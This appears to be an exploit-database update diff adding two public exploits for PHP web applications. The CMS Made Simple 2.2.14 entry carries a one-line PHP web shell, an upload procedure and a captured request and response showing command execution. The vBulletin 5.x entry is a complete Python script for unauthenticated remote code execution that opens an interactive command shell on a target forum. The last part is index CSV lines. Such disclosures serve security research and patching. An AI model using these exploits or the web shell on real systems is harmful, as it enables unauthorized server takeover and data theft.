DB: 2020-08-13

2 changes to exploits/shellcodes

CMS Made Simple 2.2.14 - Authenticated Arbitrary File Upload
vBulletin 5.6.2 - 'widget_tabbedContainer_tab_panel' Remote Code Execution

exploits/php/webapps/48742.txt

@@ -0,0 +1,53 @@
+# Exploit Title: CMS Made Simple 2.2.14 - Arbitrary File Upload (Authenticated)
+# Google Dork: -
+# Date: 2020-07-29
+# Exploit Author: Roel van Beurden
+# Vendor Homepage: https://www.cmsmadesimple.org/
+# Software Link: http://s3.amazonaws.com/cmsms/downloads/14793/cmsms-2.2.14-install.zip
+# Version: 2.2.14
+# Tested on: Linux Ubuntu 18.04
+# CVE: N/A
+
+
+1. Description:
+----------------------
+CMS Made Simple 2.2.14 allows Authenticated Arbitrary File Upload because the File Manager does not block .ptar and .phtml files. A malicious user can perform remote code execution.
+
+
+2. Proof of Concept:
+----------------------
+- Create .phtml or .ptar file with malicious PHP payload;
+- Upload .phtml or .ptar file in the 'File Manager' module;
+- Click on the uploaded file to perform remote code execution.
+
+
+3: Example payload:
+----------------------
+<?php system($_GET['cmd']);?>
+
+
+4a: Burp request:
+----------------------
+GET /cmsms/uploads/rce.phtml?cmd=id HTTP/1.1
+Host: 10.10.10.12
+User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
+Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
+Accept-Language: en-US,en;q=0.5
+Accept-Encoding: gzip, deflate
+Connection: close
+
+Cookie: d2f3b04a992e92af78d4f451813df40fa6f4f4b4=2c462b984c95aa0a8d18f59e2dd21defb7d7e368%3A%3AeyJ1aWQiOjIsInVzZXJuYW1lIjoiUm9lbCIsImVmZl91aWQiOm51bGwsImVmZl91c2VybmFtZSI6bnVsbCwiaGFzaCI6IiQyeSQxMCQ4NS5qSy5nTTMxZmJEQmlGTXlIYlQuUUR5eFRDekpsSVFncjhOS1FMbDhBSUlIUjVYeVNJZSJ9; __c=e9ef732e78dc5a9f603; CMSSESSIDde72be53c754=71mvdcppeeunddtap69k26ia4v
+
+Upgrade-Insecure-Requests: 1
+
+
+4b: Burp response:
+----------------------
+HTTP/1.1 200 OK
+Date: Thu, 30 Jul 2020 23:14:47 GMT
+Server: Apache/2.4.29 (Ubuntu)
+Content-Length: 54
+Connection: close
+Content-Type: text/html; charset=UTF-8
+
+uid=33(www-data) gid=33(www-data) groups=33(www-data)

exploits/php/webapps/48743.txt

@@ -0,0 +1,42 @@
+# Exploit Title: vBulletin 5.6.2 - 'widget_tabbedContainer_tab_panel' Remote Code Execution
+# Date: 2020-08-09
+# Exploit Author: @zenofex
+# Vendor Homepage: https://www.vbulletin.com/
+# Software Link: None
+# Version: 5.4.5 through 5.6.2
+# Tested on: vBulletin 5.6.2 on Ubuntu 19.04
+# CVE : None
+
+# vBulletin 5.5.4 through 5.6.2 are vulnerable to a remote code
+# execution vulnerability caused by incomplete patching of the previous
+# "CVE-2019-16759" RCE. This logic bug allows for a single pre-auth
+# request to execute PHP code on a target vBulletin forum.
+
+#More info can be found at:
+#https://blog.exploitee.rs/2020/exploiting-vbulletin-a-tale-of-patch-fail/
+
+
+#!/usr/bin/env python3
+# vBulletin 5.x pre-auth widget_tabbedContainer_tab_panel RCE exploit by @zenofex
+
+import argparse
+import requests
+import sys
+
+def run_exploit(vb_loc, shell_cmd):
+    post_data = {'subWidgets[0][template]' : 'widget_php', 'subWidgets[0][config][code]' : "echo shell_exec('%s'); exit;" % shell_cmd}
+    r = requests.post('%s/ajax/render/widget_tabbedcontainer_tab_panel' % vb_loc, post_data)
+    return r.text
+
+ap = argparse.ArgumentParser(description='vBulletin 5.x Ajax Widget Template RCE')
+ap.add_argument('-l', '--location', required=True, help='Web address to root of vB5 install.')
+ARGS = ap.parse_args()
+
+while True:
+    try:
+        cmd = input("vBulletin5$ ")
+        print(run_exploit(ARGS.location, cmd))
+    except KeyboardInterrupt:
+        sys.exit("\nClosing shell...")
+    except Exception as e:
+        sys.exit(str(e))

files_exploits.csv

@@ -42983,3 +42983,5 @@ id,file,description,date,author,type,platform,port
 48738,exploits/php/webapps/48738.txt,"Warehouse Inventory System 1.0 - Cross-Site Request Forgery (Change Admin Password)",2020-08-10,boku,webapps,php,
 48739,exploits/java/webapps/48739.txt,"ManageEngine ADSelfService Build prior to 6003 - Remote Code Execution (Unauthenticated)",2020-08-10,"Bhadresh Patel",webapps,java,
 48741,exploits/php/webapps/48741.txt,"Fuel CMS 1.4.7 - 'col' SQL Injection (Authenticated)",2020-08-11,"Roel van Beurden",webapps,php,
+48742,exploits/php/webapps/48742.txt,"CMS Made Simple 2.2.14 - Authenticated Arbitrary File Upload",2020-08-12,"Roel van Beurden",webapps,php,
+48743,exploits/php/webapps/48743.txt,"vBulletin 5.6.2 - 'widget_tabbedContainer_tab_panel' Remote Code Execution",2020-08-12,zenofex,webapps,php,